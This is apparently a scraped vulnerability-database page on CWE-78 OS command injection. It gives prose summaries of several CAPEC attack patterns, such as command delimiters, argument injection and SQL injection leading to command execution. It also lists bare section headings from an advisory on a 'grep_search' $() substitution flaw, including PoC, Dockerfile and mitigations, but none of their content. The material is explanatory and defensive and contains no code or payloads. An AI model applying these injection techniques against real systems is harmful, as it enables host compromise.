When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

← Back to the CWE list

CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

Affected Packages / Versions

Fix

grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)

Summary

Details

PoC

Impact

Reproduction artifacts

Dockerfile

poc.py

Mitigation

Mitigation MIT-22

Mitigation

Mitigation MIT-15

Mitigation MIT-4.3

Mitigation MIT-28

Mitigation

Mitigation MIT-27

Mitigation MIT-5

Mitigation MIT-21

Mitigation MIT-32

Mitigation MIT-32

Mitigation MIT-39

Mitigation

Mitigation MIT-29

Mitigation MIT-17

Mitigation MIT-16

CAPEC-108: Command Line Execution through SQL Injection

CAPEC-15: Command Delimiters

CAPEC-43: Exploiting Multiple Input Interpretation Layers

CAPEC-6: Argument Injection

CAPEC-88: OS Command Injection

`grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

`Dockerfile`

`poc.py`